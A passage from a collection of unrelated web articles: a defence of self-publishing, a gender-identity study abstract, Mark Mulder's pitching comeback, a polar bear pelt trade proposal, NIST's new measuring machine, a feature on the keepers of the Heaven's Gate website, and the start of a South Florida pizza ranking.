aspersions by aggressively promoting the indie stigma is unfair – and unwarranted. “The idea that all self-published books are sub-standard is erroneous,” says literary agent Jenny Bent, founder of The Bent Agency in Brooklyn, New York. Will Clarke, one of Bent’s clients, self-published his first two books, "Lord Vishnu’s Love Handles" and "The Worthy". After Simon & Schuster republished, Bent points out, “he got a full-page rave review for both of them in the New York Times Book Review.”  Self-Published Books ”Refreshing and New”  Naomi Blackburn, founder of the Sisterhood of the Traveling Book, a 400-member Goodreads book club, believes self-publishing has opened the door for new voices and given readers a far greater selection. Ranked #29 on the Goodreads list of top reviewers in the U.S. and #35 globally of all time, Blackburn reads nearly a book a day. She’s grown tired of traditional publishers “shoving dried-up authors down consumers’ throats and subjecting readers to substandard work, especially if they find a ‘cash cow.’” These days, Blackburn veers toward self-published books or works put out by smaller houses. “I usually find the works to be refreshing and new,” she says.  If bestseller lists are any indication, and surely they are, then millions of readers are following in Blackburn’s footsteps. Nowadays, indie titles regularly crack—even top —the NY Times and USA Today bestseller lists. John Locke, Barbara Freethy, Gemma Halliday, and Amanda Hocking have all broken into the million-plus sales club, and well over 100 indie authors have sold more than 50,000 books. No, gorilla-size sales figures do not guarantee the quality of an indie title, any more than huge numbers indicate the quality of a conventionally published book. The numbers do suggest that readers see value in indie books and they’re purchasing indie titles in droves.  Which is perhaps why some offenders have resorted to bullying, aggressively promoting an indie stigma that ceased to be unilaterally credible (if it ever was) around the time The Shack—an indie publication—sat for approximately 172 weeks on The New York Times bestseller list.  With millions of indie titles on shelves, some are bound to be lacking. Sometimes, says Jenn, a book editor and blogger, also known as “Picky Girl,” the lack of quality is immediately evident. “A cover that looks childish, out of date, or amateurish often speaks for the story it houses.” By publicly decrying the need to perfect their craft or bragging about writing and publishing quickly, Indie authors make themselves easy targets, says M.J. Rose, bestselling author and owner of AuthorBuzz.com. “Self-publishing shouldn’t be an excuse to not do the hard work,” Rose adds.  True enough. But not all traditionally pubbed books are Pulitzer-worthy either. The difference is, when a traditional title garners negative reviews, only that book gets panned. No one cites examples of poorly written traditionally published books to support any conclusion about all traditional titles. Besides, lousy books are a non-factor anyway. Readers don’t talk about books they don’t like and retailers don’t put poor selling books in recommendation queues, so the books languish on the shelves.  Nor is it true, as detractors claim, that it’s impossible to separate the chaff from the grain. Jennifer, the blogger at Books, Personally, finds the best indie reads through her Twitter network and blog. Like Jennifer, readers can use their social networks to find fab indie titles. They can also peruse reviews on reader sites like Goodreads, ask their friends for recommendations, or rely on reviews posted by a favorite book blogger. For the most popular current titles, readers can check the IndieReader “List Where Indies Count,” a list of the top 10 best-selling indie books, updated weekly.  Today’s Indie Authors Choose to Self-Publish  No question, traditional publishers play an important role in the publishing world. Still, for better or worse, the days when they were the sole gatekeepers are behind us. Today, rejection by traditional houses says little about a book. “Some wonderful books [are rejected] for various reasons—nothing to do with quality,” says Jenny Bent. A publisher may reject a book because it doesn’t fit into a clear category. A traditional house may also turn down a book if it doesn’t have an obvious audience or if the author has too small a platform or a poor sales track with previous books.  In the old days, determined authors turned to self-publishing—or vanity presses, as they were called—as a last resort. Serious authors, concerned about being black- balled, dared not self-publish. As a result, talented authors like John Kennedy Toole, whose posthumously published masterpiece, "A Confederacy of Dunces," won a Pulitzer Prize (1981), went to their grave believing their work did not measure up.  Today, many talented authors choose the self-publishing route and they do it for a variety of reasons. Jackie Collins recently shocked the literary world with her announcement that she planned to self-publish a new, rewritten version of her novel "The Bitch". “Times are changing,” Collins said of her decision, “and technology is changing, so I wanted to experiment with this growing trend of self-publishing.”  Industry superstars like New York Times bestselling authors Barbara Freethy and C.J. Lyons use self-publishing platforms to market their out-of-print backlists. Other authors are drawn to self-publishing because of its flexibility, the ability to publish within their own timeframe, for instance—perhaps to leverage topical interest or mark an anniversary. Others authors self-publish out of a desire for artistic control.  Self-publishing can also be a practical way to build an audience. Today, publishers expect authors to have a solid platform. By self-publishing, emerging authors can build the fan base necessary to attract a traditional publisher for their next work. Other authors, long-timers as well as newbies, feel they can make more money on their own. At $2.99 a pop, authors earn nearly $2.00 on every eBook sale. Even at 99¢, with average royalties of 33¢ to 60¢, earnings on a hot-selling book can quickly out-pace the meager advance offered to all but the superstars by a traditional house.  These days—insult-hurling aside—traditional and indie authors are more alike than different. Mindful of their increased scrutiny, self-publishers take full advantage of the myriad professional services available to authors. Indies hire experienced editors to copyedit and proofread. For their cover and interior designs, some work with the same graphic artists who design for the traditional houses. Professionals are available and widely used to covert documents to digital and paperback formats, and POD printing has gotten so good that, to the typical untrained eye, print-on-demand books are virtually indistinguishable from books printed on an offset press.  Literary agent and publishing consultant Joelle Delbourgo, founder and president of Joelle Delbourgo Associates, Inc., formerly a senior publishing executive at Random House and HarperCollins, says some self-publishers go a step further and work with a professional publishing partner, a strategy she recommends. A publishing pro with a track record of success can bring an author to the next level, Delbourgo says.  For a few years, Bethanne Patrick, a publicist and media consultant also known as “The Book Maven,” creator of the global reading community Friday Reads, was skeptical of self-publishing. Through her work in social media, Patrick has read more indie titles and gotten to know writers who’ve chosen to self-publish. More and more indie authors, she’s noticed, seek the advice of freelance editors, publicists, and marketing consultants—and she’s intrigued.  As well-educated and experienced writers—emerging authors who’ve honed their craft as well as established and traditionally published authors—increasingly opt to go the indie route, the bar is rising. As with indie musicians and filmmakers, indie authors bring new life to an evolving industry. Today, readers have access to a wealth of funny, poignant, brilliant voices of talented new authors from around the globe—voices that, just a few years ago, might have been silenced by the old guard.  The opportunity to self-publish—to publish their books their own way—has given both emerging and established authors more freedom than ever before. So, yes, now that readers choose which books to purchase and support, dollars may shift and some traditional authors may be forced to give up a slice of the pie. Change is never easy; inevitably, there are bumps and bruises along the way. But, like or not, indie publishing is here to stay. And the publishing world will be all the richer for it.  Terri Giuliano Long is a contributing writer for IndieReader and Her Circle eZine. She has written news and features for numerous publications, including the Boston Globe and the Huffington Post. She lives with her family on the East Coast and teaches at Boston College. Her debut novel, "In Leah’s Wake," began as her master’s thesis. For more information, please visit her website. Or connect on Facebook, Twitter or Blog.  Read more at Indiereader.com
-In contemporary psychology, normal development is contingent on the establishment of a coherent, universal, stable and unitary ‘core gender identity’. The present study assessed the perception of gender identity in ‘normative’ individuals in Israel using the newly constructed Multi-Gender Identity Questionnaire (Multi-GIQ). The Multi-GIQ includes 32 items assessing gender identity (Feeling like a woman, Feeling like a man, Feeling like both a man and a woman, Feeling like neither), gender dysphoria (Contentment with affirmed gender and the wish to be the ‘other’ gender, Contentment with one’s sexed body) and gender performance (Compliance with gender norms in clothing and language). Of the Men (n = 570) and Women (n = 1585) that participated in the study, over 35% felt to some extent as the ‘other’ gender, as both men and women and/or as neither. Although such feelings were more prevalent and on average stronger in Queers (n = 70), the range of scores for all measures of gender identity was highly similar in Queers and non-Queers. A similar pattern was obtained for measures of gender dysphoria and gender performance. Sexual orientation was not a major contributor to the perception of gender identity in both Men and Women. We discuss our results in view of the current debate around the terminology and diagnostic criteria of gender dysphoria (a substitutive category for Gender Identity Disorder) in DSM-V. We conclude that the current view of gender identity as binary and unitary does not reflect the experience of many individuals, and call for a new conceptualisation of gender, which relates to multiplicity and fluidity in the experience of gender.
-Mark Mulder, a two-time All-Star and former staff pillar with the Oakland Athletics and St. Louis Cardinals, is trying to make a comeback.  Mulder, 36, retired in 2009 after two surgeries on his left shoulder had reduced his effectiveness and sapped his hopes of pitching at an elite level again. He's been working as an analyst at ESPN since 2011, and had come to grips with the notion that his big-league days were at an end.  But things changed in October when Mulder watched Los Angeles Dodgers reliever Paco Rodriguez on TV and found something in Rodriguez's delivery that he could emulate. Mulder spent the month of November working himself into shape at a Phoenix-area facility run by former big-league catcher Chad Moeller, and recently threw off the mound for three unspecified teams near his home in Scottsdale.  Though he hasn't pitched since 2009 for the Cardinals, Mark Mulder is attempting a comeback. AP Photo/Tom Gannam  He said scouts clocked his fastball at 89-90 mph. Now he's hoping to audition for more clubs and land an invitation to a spring training camp.  "I can't even begin to tell you how excited I am," Mulder said by phone Tuesday. "To be honest with you, I never anticipated this five or six weeks ago. It was just a flat-out fluke that came from me trying to imitate Paco Rodriguez in my living room."  Mulder, a former Michigan State star, began his professional career with Oakland in 1998 as the No. 2 overall choice in the draft -- one pick after the Philadelphia Phillies selected outfielder Pat Burrell with the top choice. Mulder was 23 years old in 2001 when he went 21-8 with a 3.45 ERA to finish second to Roger Clemens in the American League Cy Young Award balloting.  Mulder, Tim Hudson and Barry Zito -- Oakland's "Big Three'' -- helped lead the Athletics to four straight playoff appearances from 2000 through 2003.  The Athletics sent Mulder to St. Louis in December 2004 in a four-player trade that brought Dan Haren to Oakland, and Mulder went 16-8 with a 3.64 ERA in 2005. But Mulder said his delivery and arm "never worked right'' after he underwent shoulder surgeries in 2006 and 2007.  A fluke viewing of Rodriguez on TV apparently changed that. Mulder had always separated his hands at his delivery at his midsection, but tried raising them near his head similar to the way Rodriguez does. He became convinced he was onto something after playing catch with former Cardinals teammate Kyle Lohse on Oct. 27, when they were hanging out at a birthday party for their daughters. The two pitchers threw from a distance of 150-200 feet, and Mulder was encouraged when Lohse told him he looked like his former self.  "The best way to describe it is, the ball is coming out of my hand better now than at any point when I was in St. Louis," Mulder said. "I wouldn't be trying this is if I didn't think the stuff I was throwing was good enough [to pitch in the big leagues]."  Mulder, who is under contract for two more years with ESPN, plans to put his TV future on temporary hold while he pursues his goal of pitching in the majors again. He expects to audition for several more teams before the end of December, and will see where his comeback takes him.  "So far everything has been awesome," Mulder said. "Why not give it a shot?"
-A proposal to ban the international sale of polar bear pelts, as well as other parts of the animal, has some people in Labrador concerned.  The United States brought the proposal forward, but was rejected by the Convention on International Trade and Endangered Species Secretariat.  However, the subject will be up for another vote in two weeks.  Ronald Webb, a hunter in Nain, said a hunter can get up to $3,000 for a polar bear pelt on the international market.  The meat of the bear also helps feed the community.  "When you get a polar bear, you take the meat back to the community and share it around," Webb said.  "In Nain here, we've got a community freezer here so there's lots of room for it so it's shared around the community."  Webb said that even if the proposal was approved, people would likely continue to hunt polar bear.  "If you couldn't sell a bear, I think we would still carry on with our traditional hunt and use the fur for either rugs or sewing or whatever [for themselves]," Webb said.
-When you walk into the laboratory that houses NIST’s newest coordinate measuring machine (CMM), you might be puzzled at first about how engineers got it into the room.  At about 11 feet cubed (3.3 x 3.3 x 3.4 meters) and almost 20,000 pounds (about 9,000 kilograms), the device – a model called the Xenos – takes up roughly half the volume of the laboratory space. With less than 100 mm (not quite 4 inches) overhead clearance, it nearly scrapes the ceiling.  Getting the instrument into the underground lab on NIST’s Gaithersburg, Md., campus took “some creativity and a lot of patience,” says Vincent Lee of NIST’s Physical Measurement Laboratory (PML). He and his colleagues knew it was too big for the route they normally use to install heavy equipment. “So we had to improvise and lower it down the ventilation shaft in the building,” Lee says. They also had to knock a wall out of the room and bridge a half-meter gap between the outside and inside floors.  The new device came to NIST to help scientists make a measurement of “big G,” the universal constant of gravitation that has eluded precise measurement for centuries. When that experiment is complete, however, the researchers hope to incorporate the instrument into their growing fleet of CMMs, capable of making some of the most precise dimensional measurements in the world.  Coordinate measuring machines like this one use touch probes to measure the distances between points on an object in three dimensions, with billionths of a meter sensitivity for the most accurate machines. Customers who rely on NIST for this kind of measurement include manufacturers of ultra-precision parts, such as bearings for aircraft engines, test artifacts for other classes of measurement machines, and parts or structures for high-accuracy systems. Other customers come from the automotive and electronics industries, and from laboratories that perform calibrations for their own clientele.  With the addition of the Xenos, NIST’s dimensional metrology group now possesses four CMMs in the ultra high-accuracy class.*  This newest machine also has the potential to expand NIST’s measurement capability since its work volume (the area accessible to the probe) is more than twice that of NIST’s other CMM systems – 1.5 x 0.9 x 0.7 meters, about the size of a washer and dryer side by side. Also, it has a probe head that can move in all three dimensions, meaning that, unlike CMMs with a moving table, sensitive parts like those for the big G experiment are less likely to be disturbed during measurement.**  NIST’s Vincent Lee with the new coordinate measuring machine.  So far, tests of the system’s performance are “promising,” Lee says, “but there are a lot of other things we need to learn before we design and perform measurements for the big G experiment.”  One current challenge is controlling the CMM’s environment. Pockets of hot or cool air in the room can warp the machine or even the part being measured. To ensure that the temperature is evenly distributed, the laboratory uses a system that pushes air from the ceiling down through vented floor tiles. But the new CMM is so big that, like a pebble stuck in a garden hose, it restricts this flow, preventing the air from circulating optimally. Lee is currently exploring several solutions to ameliorate the problem.  The big G experiment will start this spring and should be complete within two years. “After that, we plan to start pressing the Xenos machine into service for calibrations,” Lee says.  Meanwhile, he and PML staff will continue to gain a greater understanding of the instrument in order to be able to realize its fullest potential.  The team says that it will take years and years of learning the machine’s quirks, making careful comparisons to its CMMs and other length measurement machines, and performing carefully executed experiments in order to be able to assess the capabilities of this new machine. “It was really a big effort to get it to where it is right now,” Lee says. “And I’m not surprised it will take the same, or even more, to really understand the CMM’s potential.”  -- Reported and written by Jennifer Lauren Lee  * For information about the other three CMMs, see “Meet Bob, PML's Second "Primary" Coordinate Measuring Machine.”  ** The big G experiment uses a torsion balance, designed to gauge the twisting of a set of masses suspended by a thin strip of metal. Any table movement would cause the suspended masses to swing, so it was necessary to use a CMM with a stationary table.  NOTE: Any mention or depiction of commercial products within NIST web pages is for information only; it does not imply recommendation or endorsement by NIST.
-Every month, the bills get paid on time. The emails get answered, and any orders filled. Which, for HeavensGate.com, is positively extraordinary. Because as far as the public is aware, every last member of the suicide cult died 17 years ago from a cocktail of arsenic and apple sauce. A few stayed behind, though. Someone had to keep the homepage going.  Today, at first glance, the fully functional, 17-year-old website seems like just one more of the many GeoCities-era relics that litter the internet. Visitor counts, flashing text, Word Art gradients; the whole gang's here and then some. Dig a little deeper, though, and you'll find that almost every link adds yet another layer to a wildly extensive dogma, totally earnest in its interweaving of disembodied space aliens, Jesus, secret UFOs, prophets to whom aliens speak, comets coming to save us, and the suicide it takes to get there.  It's not just text (though there is plenty of that); Heaven's Gate's internet remains also include hours upon hours of video recorded some time between 1993 and 97, the year the majority of the group committed suicide in anticipation of sublimating to the spacecraft that trailed comet Hale-Bopp.  Those recorded statements from "students" before their deaths (as well as their leaders' own testimony) exist not only as videos on the site, but as transcripts. These were intended to last. And they have, thanks to the guardians of HeavensGate.com.  Advertisement  Today, only a few Heaven's Gate believers remain. Two of them sit on the other end of the website's sole contact email address, and will promptly respond to your inquiries. Which seems odd for a group whose members are all widely believed to be dead.  The people who respond to HeavensGate.com queries refer to themselves simply as "Telah" and "we." They'll answer questions if you ask—that's part of the gig—but they've wearied of the rubberneckers that have passed through ever since their fellow active members committed suicide in 1997. Which is perhaps to be expected when you're the only official contact point for one of the largest, most bizarre mass suicides in human history.  In fact, what's most surprising about the Heaven's Gate website is that for all the hundreds of pages of sermons and prophecies and transcripts held within the site and its advertised wares, the bizarre, often incoherent text really doesn't tell you all that much.  Advertisement  And what it does tell you isn't half as interesting as the people who are doling it out.  In 1972, Marshall Applewhite had a heart attack. In some bizarre permutation of the Florence Nightingale effect, he then came to the realization that he and his nurse, Bonnie Nettles, were very likely the two witnesses prophesied in Revelation. Bonnie agreed. The unlikely apocalyptic pair changed their names to Bo and Peep (a natural fit for two long-awaited shepherds) before ultimately adopting the monikers Ti (Bonnie) and Do (Marshall). You know, like the notes of a scale.  Advertisement  The two spent the next several years spreading their message and gaining followers through in-person evangelizing, traveling around the country to give their prophetic talks. But as Robert Balch, a sociology professor at the University of Montana who infiltrated the group during the 70s, explained in his book Waiting for the Ships, "Even during public meetings, members insulated themselves from outsiders."  Ti and Do in the late 70s during one of their many public presentations at college campuses. Image via Robert Balch.  Advertisement  Contrary to our common assumptions surrounding cults and brainwashing tactics, Ti and Do weren't looking to keep people in the group against their will. They only wanted to associate with people who actively, adamantly wanted to be there. Balch goes on to explain:  Bo and Peep were good salesmen, but people shopping for new cars routinely encounter much more pressure and manipulation. People joined the UFO cult with virtually no pressure to convert, and they enthusiastically adopted group norms even before the socialization process began.  Part of this was to ensure that only true believers stayed with the group, but it was also a clever defense tactic. At least in Balch's eyes, Ti and Do wanted to forestall trouble as much as possible, particularly in the form of a group of family members of cultists who banded together to try to save their loved ones. As he explained to us over the phone:  They were super paranoid about outsiders, and there was a network of the group's outside family that formed in 1980. And even though the woman that started that was about as sympathetic as anybody could have been, I think Ti and Do really feared the worst. They wanted anybody who left the group to leave on good terms.  Advertisement  And their casual (as far as cults go at least) attitude towards defectors seems to have worked; there has never been a contingent of angry former Heaven's Gate members. Unlike those few remaining members of the similarly infamous Peoples Temple in Jonestown, no ex-Heaven's Gaters have anything particularly horrible to say about their time spent in the group. Most likely because Ti and Do were more than happy to let unbelievers leave, and because once you made that deep of a commitment, it was nearly impossible to claw your way out.  To accept Ti and Do's teachings, you had to accept a lot. Religious zealotry was substantial part of the group's culture, sure, but it was mixed with an odd interplay of technology and science—space travel, in particular. Do even referred to the classroom where he proselytized before his so-called students (many of whom were several generations younger) as "God's astronaut program." This wasn't mysticism. It was evolution.  Advertisement  Heaven's Gate's own depiction of what you can expect from the Next Level.  The Heaven's Gate doctrine in its entirety is convoluted and, unsurprisingly, not all that consistent, but here are the basics: Earth was about to be recycled (read: wiped clean, Apocalypse-style), and those who wanted to live on needed to reach something called "The Evolutionary Level Above Human," which consisted of a genderless, bodiless, spiritual existence aboard a spaceship. Several of these already-evolved creatures were coming to save those on Earth who had successfully shed attachments to their human "vessel" (i.e. body) enough to satisfy the Next Level's tastes. These beings had visited Earth only once before, though that time they took a human form. You might know him as Jesus Christ.  Ti and Do were, of course, the only ones able to converse directly with the Next Level, so the Heaven's Gate members had to take it on faith when they were told that, as the Hale-Bopp comet approached, a UFO was hiding just out of site behind the comet's tail, ready to snatch them up. And the only way to get aboard this believers-only spaceship? Leaving your vessel behind. In this case, that meant donning matching uniforms all the way down to their Nikes, chasing phenobarbital-flavored apple sauce with vodka, and lying down to await their cosmic, evolutionary reward.  Advertisement  It's easy to look back and color Heaven's Gate's formative years with what we know now. But for most of the cult's existence, the topic of suicide was rarely even broached, much less seriously considered an option. Ti and Do would ready the group for the spaceships coming to take them away, only to change the narrative when the time to exit Earth came and went without fanfare. When Ti died of cancer in 1985, it cemented the notion in Do's mind and the minds of his followers that death was the only way to send oneself to the next level.  In the years after Ti's death, the group became progressively more reclusive. Do amped up the alienation from modern society, which seems quite a feat considering that, by this point, the remaining members had already chopped off their hair, donned matching, androgynous uniforms, and, in a few cases, subjected themselves to castration. Their corporeal forms were minimized to the absolute essentials and made as uniform as possible. After all, if they wanted to prepare for the imminent Next Level, they were going to need to stifle their human urges as much as possible. There was no privacy, no sex, no freedom from routine. Essentially, there was no individuality whatsoever. The members lived together with the ultimate goal of becoming a singular, buzzing hive, primed for entry into the great beyond. Whenever that might come.  Advertisement  Until then, though, they needed to make money. Earthly vessels require food and shelter. So several Heaven's Gate cultists looked to what they knew best to sustain themselves: web design.  Of course, the group also comprised cooks, mechanics, waiters, and other rote jobs. That several of them were web-savvy was incidental. But they did introduce Do to the internet's potential, and everything that could mean for disseminating his message.  Advertisement  The archived home page for the Higher Source web design firm.  They called their business Higher Source, advertising themselves as able to not only build sites that would "enhance your company's image" but to also "make your transition into the 'world of cyberspace' an easy and fascinating experience."  Advertisement  As far as early 90s web design firms go, Higher Source did it all. And looking back at the archived site for the group's occupational design firm, while they never directly mention their affiliation with the Heaven's Gate cult, subtle references to the company's origins abound. With Higher Source, you were getting "a crew-minded effort" from people who have worked "closely" together for 20 years. Of course, close in this case meant literal bunkmates.  "The Higher Source Difference."  You were getting a lot more than that, though. UFO and suicide cult connotations of hindsight aside, this is one of the most pristine testaments to early internet web design around. Not only could Higher Source program in Java, C++, and Visual Basic as well as use Shockwave, QuickTime, and AVI, they could gradient the hell out of your word art, too.  Advertisement  One of many sample graphics available on the Higher Source website .  In other words, they seemed like any other enterprising young web design team of the day. According to a Seattle Times article that came out just weeks after the mass suicide took place, one of their former clients "noticed that Higher Source staffers were 'strict in diet and dress.' But they showed 'a good sense of humor, and they were exceptionally smart.'" They also had their marketing lingo down pat, assuring interested parties that "whether using stock or custom photography, cutting-edge computer graphics, or plain HTML text, Higher Source can go from 'cool' to 'corporate' like a chameleon."  Advertisement  The sample graphics on the Higher Source web page included quite a bit of space imagery.  The matching, sexless outfits and uniform haircuts were Heaven's Gates way of paying as little attention to their earthly bodies as possible. The internet provided that same anonymity as a matter of course.  Advertisement  Plus, Higher Source was just the side project. The group's real lasting, virtual impact is the website they built for themselves.  Despite growing up in a different era than most of his followers, Do must have had at least an inkling of what the internet would ultimately become. As Balch suggested, it seems that Do saw HeavensGate.com as the group's eternal imprint and his own personal Ozymandias. For someone who'd supposedly done away with base, mortal urges, he certainly had a flair for the dramatic.  Advertisement  The current Heaven's Gate homepage.  In the group's early days, Ti and Do were adamant that they would eventually fulfill the prophecy in Revelation 11:3 by first being assassinated and, eventually, resurrected. The UFO would come, their death broadcast to the world, and Ti and Do would be free to take their place next to Christ in an updated, UFO-centric pantheon. But when their martyr's death never came despite several decades of opportunity (and after Ti died of cancer), Do did what any self-chose second coming would: Cover a manifesto in word art, stick it on the internet, and SEO the shit out of it.  Advertisement  That is not a figure of speech; Heaven's Gate was all about search-engine optimization. Scroll to the bottom of the homepage, highlight, and see for yourself.  Though a need for recognition certainly played a part in Do's decision to pursue the earliest form of internet fame, he did still very much believe in what he was doing. Balch contends that, in addition to pursuing a legacy, Do may have also just wanted to ensure that some form of his truth was accessible to anyone who might need it.  In Do's mind, if you or I sincerely recognized the information as being true but didn't exit with the group, our souls would essentially be put on ice until the next opportunity for a harvest on Earth. So that could be a reason why they left it up—just for anybody who was still here and able to recognize the "truth."  Advertisement  As far as lasting, potentially wide-reaching stores of information go, the internet is as safe a bet as any. At least, it is for as long as you can keep somebody can stick around to pay the web hosting bills. Somebody who, ideally, was fully dedicated to the cause, but also willing to forego the journey to the next evolutionary level. Those people, for Heaven's Gate, were Mark and Sarah King.  After the cult had shed its larger numbers in favor of a leaner, more devout following in the late 80s and early 90s, the increasingly genderless members spent their days paying rapt attention to Ti and Do in a setting they called "the classroom." It was here that they learned how to best emulate the disembodied beings of the next level. How to leave their worldly, self-involved concerns behind in favor of an ever-elusive, greater understanding. In other words, they were learning how to forego every instinct and emotion they had ever known.  Advertisement  This came easier for some than it did for others. When we asked the people behind the Heaven's Gate email address (listed on the site) why they left, the response was metered and, unsurprisingly, vague:  We left the Group in September, 1987 because we were going to take care of some other things in our lives... Free will and choice are the cornerstone of what anyone does, especially in the Next Level. Individuals in the Group could come and go as those chose to do, and many did just that over the years. We had an open door policy, and it swung both ways. People came and went all the time.  However, another ex-Heaven's Gate member—one of the few ex-members left (the only other we could find traces of was someone named Juan in Venzuela)—named Sawyer was a bit more forthcoming in why the Kings left and who they were. Apparently, Mark and Sarah weren't quite ready for everything the Next Level entailed. Speaking to us over YouTube messages, Sawyer elaborated:  I was there when they were instructed to leave the classroom because one of them did not want to try to abide by the "lesson step" that was called "I could be wrong," a step towards accomplishing what Jesus called "deny yourself." In other word,s giving your will to your Older Members... The other of these two simply decided to side with the other. Do and the crew tried to help the one with this but he wasn't receiving the help so Do instructed them to both take a car and some money and leave the group. When these two were instructed to leave, they were told they could come back whenever they wanted to abide by the "I could be wrong". The way the lesson was given was to preface what we say that is a statement of judgement with "I could be wrong". It would be an extreme to say, for instance, "I could be wrong but it's pouring outside when it was."  Advertisement  Even though the Kings—who married after leaving the group—were no longer direct members of Heaven's Gate, they still played crucial roles. Under the guise of the TELAH Foundation (a name they still go by, and an acronym for the ever-aspired-to "The Evolutionary Level Above Human"), Mark and Sarah supposedly acted as a "communication and clearing house" for the group's various public appearances and interactions, which became increasingly more prominent towards the end of their time on Earth. In 1993, for instance, they placed a full-page ad in USA Today costing upwards of $30,000.  A copy of the "ad" Heaven's Gate took out in USA Today.  When Do decided that a spaceship hiding behind the Hale-Bopp comet was the group's key to reaching the Next Level, he began preparing Mark and Sarah for the end—or at least, Do's end. As far as Mark and Sarah were concerned, this was training for the rest of their natural lives. As they explained to us over email:  They trained us on how they wanted emails to be taken care of, how to relate to the public, and how to disseminate their information. In March, 1997 our task load increased as they delivered us all their physical, legal, intellectual and personal property over several days as they departed. Their words were "here is your mission, if you chose to accept it" and we did and have for over 17 years. What the Telah Foundation (it's legal entity name) does is provides a system to secure, protect, archive and maintain the Foundation's (Group's) intellectual property and their elements of understanding. What we do each day is answer emails, disseminate information, provide their book and tapes and handle the affairs of the Group.  Advertisement  The intellectual property in question consists of tapes, still available for a reasonable $3 through the website (which contain each member's "goodbye" statement), and the entirety of Ti and Do's prolific writings.  Copies of the video tapes and book of collected teachings available for purchase on HeavensGate.com (cash mail orders only).  Advertisement  Today, Mark and Sarah King are the guardians of Heaven's Gate's legacy, tasked with the burden of all that that entails. After all, the only role they played in the website's creation was putting the thing online—and of course, keeping it there. Which, they added, is easier said than done:  The website was created by the Group in the fall of 1996. It has had some issues of crashing in March 1997 due to being overwhelmed. It has also had to be moved due to host servers going out of business. The information on the site is still the same information that gave us in 3.5 disk format on March 25, 1997. We loaded in their departure updates then and it has remained with the same information ever since. When we had to move it a few years ago due to another ISP failure, we used the same 3.5 diskettes to load the information in.  Advertisement  The original discs used to upload the website in 1997. Image via Mark and Sarah King.  And should they ever have to change hosts again, they will rely on those very same floppy discs given to them back in 1997 to carry on their promise.  Advertisement  It's not at all surprising why Mark and Sarah were chosen as to run the website. They'll answer your questions, but will never offer any information that hasn't been directly prompted. They're wary—and they have every reason to be. And that quiet reservation is what allows the website—not its keepers—to take center stage. You wouldn't even know anyone was behind the scenes unless you knew where to look.  But why keep HeavensGate.com running? As far as Mark and Sarah are concerned, it seems to be more about keeping a promise than anything else. And if they do know what Do truly had in mind, at least for now, they're keeping their mouths shut. But as Balch says:  [Do] was also very intent on going out with a splash, as one of the ex-members told me. Way back in the very beginning, they believed that they were going to fulfill prophecy by being assassinated and resurrected. Then the UFO would come, the space ship, and they called it a demonstration because this was going to be proof to the world of who they were. More than that, they believed it was going to be witnessed by thousands and broadcast around the world, So when they committed suicide, I think even though they didn't use the term demonstration, it was the same thing. Going out with a splash—and they certainly did. So the website certainly could be the legacy of that.  Advertisement  The other possibility, of course, is that it simply exists as a light post. A beacon of information to guide future lost souls towards the evolutionary level above human. That's not to say there's going to be a second group; the Kings were incredibly adamant that their goal wasn't to recruit for and recreate Heaven's Gate anew.  Rather, the site simply exists to keep any inquiring minds informed. Or in our case, to act as a reminder of a bizarre, horrible, and heartbreaking act, forever preserved in the amber of internet infamy. As long as someone's there to keep the lights on.
-Pizza may be one of America’s favorite foods. It’s also become more American than Italian, with slices in cities from east to west offering a different take on how to best combine a few basic ingredients: cheese, sauce, and dough.  There’s New York-style, Chicago-style, coal- or wood-fired, Sicilian, and Neapolitan. Some bake up with a thick, doughy crust, while others are prized for being thin and crisp.  In South Florida, where people flock from all areas of the country, we each have our favorites. But there’s still good pizza and bad pizza, no matter how you slice it. To help navigate Broward County’s selections, New Times teamed up with WorstPizza.com founder and South Florida pizza expert Craig Agranoff to find the area’s best slices.  12. Times Square Pizza  2304 E. Oakland Park Blvd., Fort Lauderdale; 954-566-7772, or visit timessquarepizza.net.  It's easy to pass Times Square Pizza as you speed down Oakland Park Blvd in Fort Lauderdale, but if you slow down and pull into the plaza, you might find yourself enjoying one of the area's best slices. The place has been around for over 20 years and its adored by Coral Ridge locals. The decor is a mix of photos of New York City, tossed in with a bit of Miami fanfare, and just a handful of tables. The pizza, however, is all New York. Although the kitchen is about the size of a small guest bathroom, the guys tasked with making the food put out a quality pizza, and prove you don’t need a lot of space to do it. The sauce is smooth — no clumps — and a mix of sweet and spicy. The ratio of sauce to cheese is always perfect, and the crust is strong enough to hold up to all the ingredients without flopping into a limp mess. For Agranoff, it reminds him of the slices he got growing up on Long Island. Head to Times Square Pizza for lunch: it sells two slices with a can of soda for $6.  11. Louie Bossi's Ristorante  1032 E. Las Olas Blvd., Fort Lauderdale; 954-356-6699, or visit louiebossi.com.  The heart of the Louie Bossi Ristorante menu is the pizza, a selection of white and red-sauce pies that are baked for 90 seconds in the restaurant's 900-degree wood-burning oven. That oven greets you at the front entrance, visible from every corner of the restaurant. In it, a wet sourdough bakes into thin and chewy crust, blistered black in spots, and delivering a strong smoky essence that can be overpowering or just right, depending on your taste. There are more than a dozen to choose from, but the Margherita is the most approachable, layered with a vibrant San Marzano sauce, basil, sea salt, and imported fior de latte, a soft and buttery buffalo mozzarella.  10. El Tamarindo  712 Atlantic Shores Blvd., Hallandale; 954-456-4447.  El Tamarindo — which celebrated the opening of its fourth location in Lighthouse Point three years ago — is on the growing list of family-owned empires in South Florida. Originally from Fort Lauderdale and Hallandale Beach, chef-owner Néstor "Alex" Amaya is the man behind the magic here. From El Salvador, Amaya, who came to South Florida at age 12, began working in the restaurant industry, starting his career in the kitchen at his uncle's restaurant, Bella Napoli, as a prep chef. In 2003, at just 23, he opened El Tamarindo Cafe in Fort Lauderdale, a contemporary restaurant serving his own brand of Latin American cuisine. Today, his newest location in Deerfield Beach (and now Lighthouse Point) is a coal-fired pizza joint known for its unique, doughy crust smothered in a thick layer of well-baked cheese and sweet tomato sauce.  9. Mauro's Pizza  1904 Hollywood Blvd., Hollywood; 954-929-4001.  For a plain slice, nothing beats Mauro's in downtown Hollywood. Your typical late-night slice spot, and one of the few places on this list that will serve a single cheese slice, it's where you go after a round of bar-hopping. This isn't a sit-down type of establishment, but no one's food hangs around long enough to matter. The deck oven pumps out oversized slices with a thin, crispy crust and a perfect ration of cheese to sauce that's never too greasy, while also delivering a ton of flavor. That also means slices that are always fresh, and rarely re-heated. It's a no-frills kind of joint: no forks, knives, gourmet toppings, or Parmesan cheese. No chairs. Instead, you eat with your hands from a paper plate with a few dozen napkins while standing — and, no, the pizza doesn't need that extra cheese. It's also a great place to stop by for lunch during the day, when the line isn't out the door.  8. La Fontana Pizzeria  2890 N. University Drive, Coral Springs; 954-575-5502, or visit lafontanapizzeria.com.  When you think 